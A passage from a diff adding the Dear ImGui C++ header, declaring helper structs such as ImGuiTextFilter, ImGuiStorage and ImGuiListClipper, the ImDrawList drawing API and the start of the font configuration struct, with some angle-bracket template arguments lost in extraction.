SetNextTreeNodeOpen(bool open, ImGuiCond cond = 0) { SetNextItemOpen(open, cond); } + // OBSOLETED in 1.70 (from May 2019) + static inline float GetContentRegionAvailWidth() { return GetContentRegionAvail().x; } + // OBSOLETED in 1.69 (from Mar 2019) + static inline ImDrawList* GetOverlayDrawList() { return GetForegroundDrawList(); } + // OBSOLETED in 1.66 (from Sep 2018) + static inline void SetScrollHere(float center_ratio=0.5f){ SetScrollHereY(center_ratio); } +} +#endif + +//----------------------------------------------------------------------------- +// [SECTION] Helpers (ImGuiOnceUponAFrame, ImGuiTextFilter, ImGuiTextBuffer, ImGuiStorage, ImGuiListClipper, ImColor) +//----------------------------------------------------------------------------- + +// Helper: Unicode defines +#define IM_UNICODE_CODEPOINT_INVALID 0xFFFD // Invalid Unicode code point (standard value). +#ifdef IMGUI_USE_WCHAR32 +#define IM_UNICODE_CODEPOINT_MAX 0x10FFFF // Maximum Unicode code point supported by this build. +#else +#define IM_UNICODE_CODEPOINT_MAX 0xFFFF // Maximum Unicode code point supported by this build. +#endif + +// Helper: Execute a block of code at maximum once a frame. Convenient if you want to quickly create an UI within deep-nested code that runs multiple times every frame. +// Usage: static ImGuiOnceUponAFrame oaf; if (oaf) ImGui::Text("This will be called only once per frame"); +struct ImGuiOnceUponAFrame +{ + ImGuiOnceUponAFrame() { RefFrame = -1; } + mutable int RefFrame; + operator bool() const { int current_frame = ImGui::GetFrameCount(); if (RefFrame == current_frame) return false; RefFrame = current_frame; return true; } +}; + +// Helper: Parse and apply text filters. In format "aaaaa[,bbbb][,ccccc]" +struct ImGuiTextFilter +{ + IMGUI_API ImGuiTextFilter(const char* default_filter = ""); + IMGUI_API bool Draw(const char* label = "Filter (inc,-exc)", float width = 0.0f); // Helper calling InputText+Build + IMGUI_API bool PassFilter(const char* text, const char* text_end = NULL) const; + IMGUI_API void Build(); + void Clear() { InputBuf[0] = 0; Build(); } + bool IsActive() const { return !Filters.empty(); } + + // [Internal] + struct ImGuiTextRange + { + const char* b; + const char* e; + + ImGuiTextRange() { b = e = NULL; } + ImGuiTextRange(const char* _b, const char* _e) { b = _b; e = _e; } + bool empty() const { return b == e; } + IMGUI_API void split(char separator, ImVector* out) const; + }; + char InputBuf[256]; + ImVectorFilters; + int CountGrep; +}; + +// Helper: Growable text buffer for logging/accumulating text +// (this could be called 'ImGuiTextBuilder' / 'ImGuiStringBuilder') +struct ImGuiTextBuffer +{ + ImVector Buf; + IMGUI_API static char EmptyString[1]; + + ImGuiTextBuffer() { } + inline char operator[](int i) const { IM_ASSERT(Buf.Data != NULL); return Buf.Data[i]; } + const char* begin() const { return Buf.Data ? &Buf.front() : EmptyString; } + const char* end() const { return Buf.Data ? &Buf.back() : EmptyString; } // Buf is zero-terminated, so end() will point on the zero-terminator + int size() const { return Buf.Size ? Buf.Size - 1 : 0; } + bool empty() const { return Buf.Size <= 1; } + void clear() { Buf.clear(); } + void reserve(int capacity) { Buf.reserve(capacity); } + const char* c_str() const { return Buf.Data ? Buf.Data : EmptyString; } + IMGUI_API void append(const char* str, const char* str_end = NULL); + IMGUI_API void appendf(const char* fmt, ...) IM_FMTARGS(2); + IMGUI_API void appendfv(const char* fmt, va_list args) IM_FMTLIST(2); +}; + +// Helper: Key->Value storage +// Typically you don't have to worry about this since a storage is held within each Window. +// We use it to e.g. store collapse state for a tree (Int 0/1) +// This is optimized for efficient lookup (dichotomy into a contiguous buffer) and rare insertion (typically tied to user interactions aka max once a frame) +// You can use it as custom user storage for temporary values. Declare your own storage if, for example: +// - You want to manipulate the open/close state of a particular sub-tree in your interface (tree node uses Int 0/1 to store their state). +// - You want to store custom debug data easily without adding or editing structures in your code (probably not efficient, but convenient) +// Types are NOT stored, so it is up to you to make sure your Key don't collide with different types. +struct ImGuiStorage +{ + // [Internal] + struct ImGuiStoragePair + { + ImGuiID key; + union { int val_i; float val_f; void* val_p; }; + ImGuiStoragePair(ImGuiID _key, int _val_i) { key = _key; val_i = _val_i; } + ImGuiStoragePair(ImGuiID _key, float _val_f) { key = _key; val_f = _val_f; } + ImGuiStoragePair(ImGuiID _key, void* _val_p) { key = _key; val_p = _val_p; } + }; + + ImVector Data; + + // - Get***() functions find pair, never add/allocate. Pairs are sorted so a query is O(log N) + // - Set***() functions find pair, insertion on demand if missing. + // - Sorted insertion is costly, paid once. A typical frame shouldn't need to insert any new pair. + void Clear() { Data.clear(); } + IMGUI_API int GetInt(ImGuiID key, int default_val = 0) const; + IMGUI_API void SetInt(ImGuiID key, int val); + IMGUI_API bool GetBool(ImGuiID key, bool default_val = false) const; + IMGUI_API void SetBool(ImGuiID key, bool val); + IMGUI_API float GetFloat(ImGuiID key, float default_val = 0.0f) const; + IMGUI_API void SetFloat(ImGuiID key, float val); + IMGUI_API void* GetVoidPtr(ImGuiID key) const; // default_val is NULL + IMGUI_API void SetVoidPtr(ImGuiID key, void* val); + + // - Get***Ref() functions finds pair, insert on demand if missing, return pointer. Useful if you intend to do Get+Set. + // - References are only valid until a new value is added to the storage. Calling a Set***() function or a Get***Ref() function invalidates the pointer. + // - A typical use case where this is convenient for quick hacking (e.g. add storage during a live Edit&Continue session if you can't modify existing struct) + // float* pvar = ImGui::GetFloatRef(key); ImGui::SliderFloat("var", pvar, 0, 100.0f); some_var += *pvar; + IMGUI_API int* GetIntRef(ImGuiID key, int default_val = 0); + IMGUI_API bool* GetBoolRef(ImGuiID key, bool default_val = false); + IMGUI_API float* GetFloatRef(ImGuiID key, float default_val = 0.0f); + IMGUI_API void** GetVoidPtrRef(ImGuiID key, void* default_val = NULL); + + // Use on your own storage if you know only integer are being stored (open/close all tree nodes) + IMGUI_API void SetAllInt(int val); + + // For quicker full rebuild of a storage (instead of an incremental one), you may add all your contents and then sort once. + IMGUI_API void BuildSortByKey(); +}; + +// Helper: Manually clip large list of items. +// If you are submitting lots of evenly spaced items and you have a random access to the list, you can perform coarse +// clipping based on visibility to save yourself from processing those items at all. +// The clipper calculates the range of visible items and advance the cursor to compensate for the non-visible items we have skipped. +// (Dear ImGui already clip items based on their bounds but it needs to measure text size to do so, whereas manual coarse clipping before submission makes this cost and your own data fetching/submission cost almost null) +// Usage: +// ImGuiListClipper clipper; +// clipper.Begin(1000); // We have 1000 elements, evenly spaced. +// while (clipper.Step()) +// for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) +// ImGui::Text("line number %d", i); +// Generally what happens is: +// - Clipper lets you process the first element (DisplayStart = 0, DisplayEnd = 1) regardless of it being visible or not. +// - User code submit one element. +// - Clipper can measure the height of the first element +// - Clipper calculate the actual range of elements to display based on the current clipping rectangle, position the cursor before the first visible element. +// - User code submit visible elements. +struct ImGuiListClipper +{ + int DisplayStart; + int DisplayEnd; + + // [Internal] + int ItemsCount; + int StepNo; + int ItemsFrozen; + float ItemsHeight; + float StartPosY; + + IMGUI_API ImGuiListClipper(); + IMGUI_API ~ImGuiListClipper(); + + // items_count: Use INT_MAX if you don't know how many items you have (in which case the cursor won't be advanced in the final step) + // items_height: Use -1.0f to be calculated automatically on first step. Otherwise pass in the distance between your items, typically GetTextLineHeightWithSpacing() or GetFrameHeightWithSpacing(). + IMGUI_API void Begin(int items_count, float items_height = -1.0f); // Automatically called by constructor if you passed 'items_count' or by Step() in Step 1. + IMGUI_API void End(); // Automatically called on the last call of Step() that returns false. + IMGUI_API bool Step(); // Call until it returns false. The DisplayStart/DisplayEnd fields will be set and you can process/draw those items. + +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + inline ImGuiListClipper(int items_count, float items_height = -1.0f) { memset(this, 0, sizeof(*this)); ItemsCount = -1; Begin(items_count, items_height); } // [removed in 1.79] +#endif +}; + +// Helpers macros to generate 32-bit encoded colors +#ifdef IMGUI_USE_BGRA_PACKED_COLOR +#define IM_COL32_R_SHIFT 16 +#define IM_COL32_G_SHIFT 8 +#define IM_COL32_B_SHIFT 0 +#define IM_COL32_A_SHIFT 24 +#define IM_COL32_A_MASK 0xFF000000 +#else +#define IM_COL32_R_SHIFT 0 +#define IM_COL32_G_SHIFT 8 +#define IM_COL32_B_SHIFT 16 +#define IM_COL32_A_SHIFT 24 +#define IM_COL32_A_MASK 0xFF000000 +#endif +#define IM_COL32(R,G,B,A) (((ImU32)(A)<> IM_COL32_R_SHIFT) & 0xFF) * sc; Value.y = (float)((rgba >> IM_COL32_G_SHIFT) & 0xFF) * sc; Value.z = (float)((rgba >> IM_COL32_B_SHIFT) & 0xFF) * sc; Value.w = (float)((rgba >> IM_COL32_A_SHIFT) & 0xFF) * sc; } + ImColor(float r, float g, float b, float a = 1.0f) { Value.x = r; Value.y = g; Value.z = b; Value.w = a; } + ImColor(const ImVec4& col) { Value = col; } + inline operator ImU32() const { return ImGui::ColorConvertFloat4ToU32(Value); } + inline operator ImVec4() const { return Value; } + + // FIXME-OBSOLETE: May need to obsolete/cleanup those helpers. + inline void SetHSV(float h, float s, float v, float a = 1.0f){ ImGui::ColorConvertHSVtoRGB(h, s, v, Value.x, Value.y, Value.z); Value.w = a; } + static ImColor HSV(float h, float s, float v, float a = 1.0f) { float r, g, b; ImGui::ColorConvertHSVtoRGB(h, s, v, r, g, b); return ImColor(r, g, b, a); } +}; + +//----------------------------------------------------------------------------- +// [SECTION] Drawing API (ImDrawCmd, ImDrawIdx, ImDrawVert, ImDrawChannel, ImDrawListSplitter, ImDrawListFlags, ImDrawList, ImDrawData) +// Hold a series of drawing commands. The user provides a renderer for ImDrawData which essentially contains an array of ImDrawList. +//----------------------------------------------------------------------------- + +// The maximum line width to bake anti-aliased textures for. Build atlas with ImFontAtlasFlags_NoBakedLines to disable baking. +#ifndef IM_DRAWLIST_TEX_LINES_WIDTH_MAX +#define IM_DRAWLIST_TEX_LINES_WIDTH_MAX (63) +#endif + +// ImDrawCallback: Draw callbacks for advanced uses [configurable type: override in imconfig.h] +// NB: You most likely do NOT need to use draw callbacks just to create your own widget or customized UI rendering, +// you can poke into the draw list for that! Draw callback may be useful for example to: +// A) Change your GPU render state, +// B) render a complex 3D scene inside a UI element without an intermediate texture/render target, etc. +// The expected behavior from your rendering function is 'if (cmd.UserCallback != NULL) { cmd.UserCallback(parent_list, cmd); } else { RenderTriangles() }' +// If you want to override the signature of ImDrawCallback, you can simply use e.g. '#define ImDrawCallback MyDrawCallback' (in imconfig.h) + update rendering backend accordingly. +#ifndef ImDrawCallback +typedef void (*ImDrawCallback)(const ImDrawList* parent_list, const ImDrawCmd* cmd); +#endif + +// Special Draw callback value to request renderer backend to reset the graphics/render state. +// The renderer backend needs to handle this special value, otherwise it will crash trying to call a function at this address. +// This is useful for example if you submitted callbacks which you know have altered the render state and you want it to be restored. +// It is not done by default because they are many perfectly useful way of altering render state for imgui contents (e.g. changing shader/blending settings before an Image call). +#define ImDrawCallback_ResetRenderState (ImDrawCallback)(-1) + +// Typically, 1 command = 1 GPU draw call (unless command is a callback) +// - VtxOffset/IdxOffset: When 'io.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset' is enabled, +// those fields allow us to render meshes larger than 64K vertices while keeping 16-bit indices. +// Pre-1.71 backends will typically ignore the VtxOffset/IdxOffset fields. +// - The ClipRect/TextureId/VtxOffset fields must be contiguous as we memcmp() them together (this is asserted for). +struct ImDrawCmd +{ + ImVec4 ClipRect; // 4*4 // Clipping rectangle (x1, y1, x2, y2). Subtract ImDrawData->DisplayPos to get clipping rectangle in "viewport" coordinates + ImTextureID TextureId; // 4-8 // User-provided texture ID. Set by user in ImfontAtlas::SetTexID() for fonts or passed to Image*() functions. Ignore if never using images or multiple fonts atlas. + unsigned int VtxOffset; // 4 // Start offset in vertex buffer. ImGuiBackendFlags_RendererHasVtxOffset: always 0, otherwise may be >0 to support meshes larger than 64K vertices with 16-bit indices. + unsigned int IdxOffset; // 4 // Start offset in index buffer. Always equal to sum of ElemCount drawn so far. + unsigned int ElemCount; // 4 // Number of indices (multiple of 3) to be rendered as triangles. Vertices are stored in the callee ImDrawList's vtx_buffer[] array, indices in idx_buffer[]. + ImDrawCallback UserCallback; // 4-8 // If != NULL, call the function instead of rendering the vertices. clip_rect and texture_id will be set normally. + void* UserCallbackData; // 4-8 // The draw callback code can access this. + + ImDrawCmd() { memset(this, 0, sizeof(*this)); } // Also ensure our padding fields are zeroed +}; + +// Vertex index, default to 16-bit +// To allow large meshes with 16-bit indices: set 'io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset' and handle ImDrawCmd::VtxOffset in the renderer backend (recommended). +// To use 32-bit indices: override with '#define ImDrawIdx unsigned int' in imconfig.h. +#ifndef ImDrawIdx +typedef unsigned short ImDrawIdx; +#endif + +// Vertex layout +#ifndef IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT +struct ImDrawVert +{ + ImVec2 pos; + ImVec2 uv; + ImU32 col; +}; +#else +// You can override the vertex format layout by defining IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT in imconfig.h +// The code expect ImVec2 pos (8 bytes), ImVec2 uv (8 bytes), ImU32 col (4 bytes), but you can re-order them or add other fields as needed to simplify integration in your engine. +// The type has to be described within the macro (you can either declare the struct or use a typedef). This is because ImVec2/ImU32 are likely not declared a the time you'd want to set your type up. +// NOTE: IMGUI DOESN'T CLEAR THE STRUCTURE AND DOESN'T CALL A CONSTRUCTOR SO ANY CUSTOM FIELD WILL BE UNINITIALIZED. IF YOU ADD EXTRA FIELDS (SUCH AS A 'Z' COORDINATES) YOU WILL NEED TO CLEAR THEM DURING RENDER OR TO IGNORE THEM. +IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT; +#endif + +// [Internal] For use by ImDrawList +struct ImDrawCmdHeader +{ + ImVec4 ClipRect; + ImTextureID TextureId; + unsigned int VtxOffset; +}; + +// [Internal] For use by ImDrawListSplitter +struct ImDrawChannel +{ + ImVector _CmdBuffer; + ImVector _IdxBuffer; +}; + + +// Split/Merge functions are used to split the draw list into different layers which can be drawn into out of order. +// This is used by the Columns/Tables API, so items of each column can be batched together in a same draw call. +struct ImDrawListSplitter +{ + int _Current; // Current channel number (0) + int _Count; // Number of active channels (1+) + ImVector _Channels; // Draw channels (not resized down so _Count might be < Channels.Size) + + inline ImDrawListSplitter() { memset(this, 0, sizeof(*this)); } + inline ~ImDrawListSplitter() { ClearFreeMemory(); } + inline void Clear() { _Current = 0; _Count = 1; } // Do not clear Channels[] so our allocations are reused next frame + IMGUI_API void ClearFreeMemory(); + IMGUI_API void Split(ImDrawList* draw_list, int count); + IMGUI_API void Merge(ImDrawList* draw_list); + IMGUI_API void SetCurrentChannel(ImDrawList* draw_list, int channel_idx); +}; + +enum ImDrawCornerFlags_ +{ + ImDrawCornerFlags_None = 0, + ImDrawCornerFlags_TopLeft = 1 << 0, // 0x1 + ImDrawCornerFlags_TopRight = 1 << 1, // 0x2 + ImDrawCornerFlags_BotLeft = 1 << 2, // 0x4 + ImDrawCornerFlags_BotRight = 1 << 3, // 0x8 + ImDrawCornerFlags_Top = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_TopRight, // 0x3 + ImDrawCornerFlags_Bot = ImDrawCornerFlags_BotLeft | ImDrawCornerFlags_BotRight, // 0xC + ImDrawCornerFlags_Left = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotLeft, // 0x5 + ImDrawCornerFlags_Right = ImDrawCornerFlags_TopRight | ImDrawCornerFlags_BotRight, // 0xA + ImDrawCornerFlags_All = 0xF // In your function calls you may use ~0 (= all bits sets) instead of ImDrawCornerFlags_All, as a convenience +}; + +// Flags for ImDrawList. Those are set automatically by ImGui:: functions from ImGuiIO settings, and generally not manipulated directly. +// It is however possible to temporarily alter flags between calls to ImDrawList:: functions. +enum ImDrawListFlags_ +{ + ImDrawListFlags_None = 0, + ImDrawListFlags_AntiAliasedLines = 1 << 0, // Enable anti-aliased lines/borders (*2 the number of triangles for 1.0f wide line or lines thin enough to be drawn using textures, otherwise *3 the number of triangles) + ImDrawListFlags_AntiAliasedLinesUseTex = 1 << 1, // Enable anti-aliased lines/borders using textures when possible. Require backend to render with bilinear filtering. + ImDrawListFlags_AntiAliasedFill = 1 << 2, // Enable anti-aliased edge around filled shapes (rounded rectangles, circles). + ImDrawListFlags_AllowVtxOffset = 1 << 3 // Can emit 'VtxOffset > 0' to allow large meshes. Set when 'ImGuiBackendFlags_RendererHasVtxOffset' is enabled. +}; + +// Draw command list +// This is the low-level list of polygons that ImGui:: functions are filling. At the end of the frame, +// all command lists are passed to your ImGuiIO::RenderDrawListFn function for rendering. +// Each dear imgui window contains its own ImDrawList. You can use ImGui::GetWindowDrawList() to +// access the current window draw list and draw custom primitives. +// You can interleave normal ImGui:: calls and adding primitives to the current draw list. +// All positions are generally in pixel coordinates (top-left at (0,0), bottom-right at io.DisplaySize), but you are totally free to apply whatever transformation matrix to want to the data (if you apply such transformation you'll want to apply it to ClipRect as well) +// Important: Primitives are always added to the list and not culled (culling is done at higher-level by ImGui:: functions), if you use this API a lot consider coarse culling your drawn objects. +struct ImDrawList +{ + // This is what you have to render + ImVector CmdBuffer; // Draw commands. Typically 1 command = 1 GPU draw call, unless the command is a callback. + ImVector IdxBuffer; // Index buffer. Each command consume ImDrawCmd::ElemCount of those + ImVector VtxBuffer; // Vertex buffer. + ImDrawListFlags Flags; // Flags, you may poke into these to adjust anti-aliasing settings per-primitive. + + // [Internal, used while building lists] + unsigned int _VtxCurrentIdx; // [Internal] generally == VtxBuffer.Size unless we are past 64K vertices, in which case this gets reset to 0. + const ImDrawListSharedData* _Data; // Pointer to shared draw data (you can use ImGui::GetDrawListSharedData() to get the one from current ImGui context) + const char* _OwnerName; // Pointer to owner window's name for debugging + ImDrawVert* _VtxWritePtr; // [Internal] point within VtxBuffer.Data after each add command (to avoid using the ImVector<> operators too much) + ImDrawIdx* _IdxWritePtr; // [Internal] point within IdxBuffer.Data after each add command (to avoid using the ImVector<> operators too much) + ImVector _ClipRectStack; // [Internal] + ImVector _TextureIdStack; // [Internal] + ImVector _Path; // [Internal] current path building + ImDrawCmdHeader _CmdHeader; // [Internal] template of active commands. Fields should match those of CmdBuffer.back(). + ImDrawListSplitter _Splitter; // [Internal] for channels api (note: prefer using your own persistent instance of ImDrawListSplitter!) + + // If you want to create ImDrawList instances, pass them ImGui::GetDrawListSharedData() or create and use your own ImDrawListSharedData (so you can use ImDrawList without ImGui) + ImDrawList(const ImDrawListSharedData* shared_data) { memset(this, 0, sizeof(*this)); _Data = shared_data; } + + ~ImDrawList() { _ClearFreeMemory(); } + IMGUI_API void PushClipRect(ImVec2 clip_rect_min, ImVec2 clip_rect_max, bool intersect_with_current_clip_rect = false); // Render-level scissoring. This is passed down to your render function but not used for CPU-side coarse clipping. Prefer using higher-level ImGui::PushClipRect() to affect logic (hit-testing and widget culling) + IMGUI_API void PushClipRectFullScreen(); + IMGUI_API void PopClipRect(); + IMGUI_API void PushTextureID(ImTextureID texture_id); + IMGUI_API void PopTextureID(); + inline ImVec2 GetClipRectMin() const { const ImVec4& cr = _ClipRectStack.back(); return ImVec2(cr.x, cr.y); } + inline ImVec2 GetClipRectMax() const { const ImVec4& cr = _ClipRectStack.back(); return ImVec2(cr.z, cr.w); } + + // Primitives + // - For rectangular primitives, "p_min" and "p_max" represent the upper-left and lower-right corners. + // - For circle primitives, use "num_segments == 0" to automatically calculate tessellation (preferred). + // In older versions (until Dear ImGui 1.77) the AddCircle functions defaulted to num_segments == 12. + // In future versions we will use textures to provide cheaper and higher-quality circles. + // Use AddNgon() and AddNgonFilled() functions if you need to guaranteed a specific number of sides. + IMGUI_API void AddLine(const ImVec2& p1, const ImVec2& p2, ImU32 col, float thickness = 1.0f); + IMGUI_API void AddRect(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding = 0.0f, ImDrawCornerFlags rounding_corners = ImDrawCornerFlags_All, float thickness = 1.0f); // a: upper-left, b: lower-right (== upper-left + size), rounding_corners_flags: 4 bits corresponding to which corner to round + IMGUI_API void AddRectFilled(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding = 0.0f, ImDrawCornerFlags rounding_corners = ImDrawCornerFlags_All); // a: upper-left, b: lower-right (== upper-left + size) + IMGUI_API void AddRectFilledMultiColor(const ImVec2& p_min, const ImVec2& p_max, ImU32 col_upr_left, ImU32 col_upr_right, ImU32 col_bot_right, ImU32 col_bot_left); + IMGUI_API void AddQuad(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness = 1.0f); + IMGUI_API void AddQuadFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col); + IMGUI_API void AddTriangle(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness = 1.0f); + IMGUI_API void AddTriangleFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col); + IMGUI_API void AddCircle(const ImVec2& center, float radius, ImU32 col, int num_segments = 0, float thickness = 1.0f); + IMGUI_API void AddCircleFilled(const ImVec2& center, float radius, ImU32 col, int num_segments = 0); + IMGUI_API void AddNgon(const ImVec2& center, float radius, ImU32 col, int num_segments, float thickness = 1.0f); + IMGUI_API void AddNgonFilled(const ImVec2& center, float radius, ImU32 col, int num_segments); + IMGUI_API void AddText(const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end = NULL); + IMGUI_API void AddText(const ImFont* font, float font_size, const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end = NULL, float wrap_width = 0.0f, const ImVec4* cpu_fine_clip_rect = NULL); + IMGUI_API void AddPolyline(const ImVec2* points, int num_points, ImU32 col, bool closed, float thickness); + IMGUI_API void AddConvexPolyFilled(const ImVec2* points, int num_points, ImU32 col); // Note: Anti-aliased filling requires points to be in clockwise order. + IMGUI_API void AddBezierCubic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness, int num_segments = 0); // Cubic Bezier (4 control points) + IMGUI_API void AddBezierQuadratic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness, int num_segments = 0); // Quadratic Bezier (3 control points) + + // Image primitives + // - Read FAQ to understand what ImTextureID is. + // - "p_min" and "p_max" represent the upper-left and lower-right corners of the rectangle. + // - "uv_min" and "uv_max" represent the normalized texture coordinates to use for those corners. Using (0,0)->(1,1) texture coordinates will generally display the entire texture. + IMGUI_API void AddImage(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min = ImVec2(0, 0), const ImVec2& uv_max = ImVec2(1, 1), ImU32 col = IM_COL32_WHITE); + IMGUI_API void AddImageQuad(ImTextureID user_texture_id, const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& uv1 = ImVec2(0, 0), const ImVec2& uv2 = ImVec2(1, 0), const ImVec2& uv3 = ImVec2(1, 1), const ImVec2& uv4 = ImVec2(0, 1), ImU32 col = IM_COL32_WHITE); + IMGUI_API void AddImageRounded(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min, const ImVec2& uv_max, ImU32 col, float rounding, ImDrawCornerFlags rounding_corners = ImDrawCornerFlags_All); + + // Stateful path API, add points then finish with PathFillConvex() or PathStroke() + inline void PathClear() { _Path.Size = 0; } + inline void PathLineTo(const ImVec2& pos) { _Path.push_back(pos); } + inline void PathLineToMergeDuplicate(const ImVec2& pos) { if (_Path.Size == 0 || memcmp(&_Path.Data[_Path.Size - 1], &pos, 8) != 0) _Path.push_back(pos); } + inline void PathFillConvex(ImU32 col) { AddConvexPolyFilled(_Path.Data, _Path.Size, col); _Path.Size = 0; } // Note: Anti-aliased filling requires points to be in clockwise order. + inline void PathStroke(ImU32 col, bool closed, float thickness = 1.0f) { AddPolyline(_Path.Data, _Path.Size, col, closed, thickness); _Path.Size = 0; } + IMGUI_API void PathArcTo(const ImVec2& center, float radius, float a_min, float a_max, int num_segments = 10); + IMGUI_API void PathArcToFast(const ImVec2& center, float radius, int a_min_of_12, int a_max_of_12); // Use precomputed angles for a 12 steps circle + IMGUI_API void PathBezierCubicCurveTo(const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, int num_segments = 0); // Cubic Bezier (4 control points) + IMGUI_API void PathBezierQuadraticCurveTo(const ImVec2& p2, const ImVec2& p3, int num_segments = 0); // Quadratic Bezier (3 control points) + IMGUI_API void PathRect(const ImVec2& rect_min, const ImVec2& rect_max, float rounding = 0.0f, ImDrawCornerFlags rounding_corners = ImDrawCornerFlags_All); + + // Advanced + IMGUI_API void AddCallback(ImDrawCallback callback, void* callback_data); // Your rendering function must check for 'UserCallback' in ImDrawCmd and call the function instead of rendering triangles. + IMGUI_API void AddDrawCmd(); // This is useful if you need to forcefully create a new draw call (to allow for dependent rendering / blending). Otherwise primitives are merged into the same draw-call as much as possible + IMGUI_API ImDrawList* CloneOutput() const; // Create a clone of the CmdBuffer/IdxBuffer/VtxBuffer. + + // Advanced: Channels + // - Use to split render into layers. By switching channels to can render out-of-order (e.g. submit FG primitives before BG primitives) + // - Use to minimize draw calls (e.g. if going back-and-forth between multiple clipping rectangles, prefer to append into separate channels then merge at the end) + // - FIXME-OBSOLETE: This API shouldn't have been in ImDrawList in the first place! + // Prefer using your own persistent instance of ImDrawListSplitter as you can stack them. + // Using the ImDrawList::ChannelsXXXX you cannot stack a split over another. + inline void ChannelsSplit(int count) { _Splitter.Split(this, count); } + inline void ChannelsMerge() { _Splitter.Merge(this); } + inline void ChannelsSetCurrent(int n) { _Splitter.SetCurrentChannel(this, n); } + + // Advanced: Primitives allocations + // - We render triangles (three vertices) + // - All primitives needs to be reserved via PrimReserve() beforehand. + IMGUI_API void PrimReserve(int idx_count, int vtx_count); + IMGUI_API void PrimUnreserve(int idx_count, int vtx_count); + IMGUI_API void PrimRect(const ImVec2& a, const ImVec2& b, ImU32 col); // Axis aligned rectangle (composed of two triangles) + IMGUI_API void PrimRectUV(const ImVec2& a, const ImVec2& b, const ImVec2& uv_a, const ImVec2& uv_b, ImU32 col); + IMGUI_API void PrimQuadUV(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& d, const ImVec2& uv_a, const ImVec2& uv_b, const ImVec2& uv_c, const ImVec2& uv_d, ImU32 col); + inline void PrimWriteVtx(const ImVec2& pos, const ImVec2& uv, ImU32 col) { _VtxWritePtr->pos = pos; _VtxWritePtr->uv = uv; _VtxWritePtr->col = col; _VtxWritePtr++; _VtxCurrentIdx++; } + inline void PrimWriteIdx(ImDrawIdx idx) { *_IdxWritePtr = idx; _IdxWritePtr++; } + inline void PrimVtx(const ImVec2& pos, const ImVec2& uv, ImU32 col) { PrimWriteIdx((ImDrawIdx)_VtxCurrentIdx); PrimWriteVtx(pos, uv, col); } // Write vertex with unique index + +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + inline void AddBezierCurve(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness, int num_segments = 0) { AddBezierCubic(p1, p2, p3, p4, col, thickness, num_segments); } + inline void PathBezierCurveTo(const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, int num_segments = 0) { PathBezierCubicCurveTo(p2, p3, p4, num_segments); } +#endif + + // [Internal helpers] + IMGUI_API void _ResetForNewFrame(); + IMGUI_API void _ClearFreeMemory(); + IMGUI_API void _PopUnusedDrawCmd(); + IMGUI_API void _OnChangedClipRect(); + IMGUI_API void _OnChangedTextureID(); + IMGUI_API void _OnChangedVtxOffset(); +}; + +// All draw data to render a Dear ImGui frame +// (NB: the style and the naming convention here is a little inconsistent, we currently preserve them for backward compatibility purpose, +// as this is one of the oldest structure exposed by the library! Basically, ImDrawList == CmdList) +struct ImDrawData +{ + bool Valid; // Only valid after Render() is called and before the next NewFrame() is called. + ImDrawList** CmdLists; // Array of ImDrawList* to render. The ImDrawList are owned by ImGuiContext and only pointed to from here. + int CmdListsCount; // Number of ImDrawList* to render + int TotalIdxCount; // For convenience, sum of all ImDrawList's IdxBuffer.Size + int TotalVtxCount; // For convenience, sum of all ImDrawList's VtxBuffer.Size + ImVec2 DisplayPos; // Upper-left position of the viewport to render (== upper-left of the orthogonal projection matrix to use) + ImVec2 DisplaySize; // Size of the viewport to render (== io.DisplaySize for the main viewport) (DisplayPos + DisplaySize == lower-right of the orthogonal projection matrix to use) + ImVec2 FramebufferScale; // Amount of pixels for each unit of DisplaySize. Based on io.DisplayFramebufferScale. Generally (1,1) on normal display, (2,2) on OSX with Retina display. + + // Functions + ImDrawData() { Valid = false; Clear(); } + ~ImDrawData() { Clear(); } + void Clear() { Valid = false; CmdLists = NULL; CmdListsCount = TotalVtxCount = TotalIdxCount = 0; DisplayPos = DisplaySize = FramebufferScale = ImVec2(0.f, 0.f); } // The ImDrawList are owned by ImGuiContext! + IMGUI_API void DeIndexAllBuffers(); // Helper to convert all buffers from indexed to non-indexed, in case you cannot render indexed. Note: this is slow and most likely a waste of resources. Always prefer indexed rendering! + IMGUI_API void ScaleClipRects(const ImVec2& fb_scale); // Helper to scale the ClipRect field of each ImDrawCmd. Use if your final output buffer is at a different scale than Dear ImGui expects, or if there is a difference between your window resolution and framebuffer resolution. +}; + +//----------------------------------------------------------------------------- +// [SECTION] Font API (ImFontConfig, ImFontGlyph, ImFontAtlasFlags, ImFontAtlas, ImFontGlyphRangesBuilder, ImFont) +//----------------------------------------------------------------------------- + +struct ImFontConfig +{ + void* FontData; // // TTF/OTF data + int FontDataSize; // // TTF/OTF data size + bool FontDataOwnedByAtlas; // true // TTF/OTF data ownership taken by the container ImFontAtlas (will delete memory itself). + int FontNo; // 0 // Index of font within TTF/OTF file + float SizePixels; // // Size in pixels for rasterizer (more or less maps to the resulting font height). 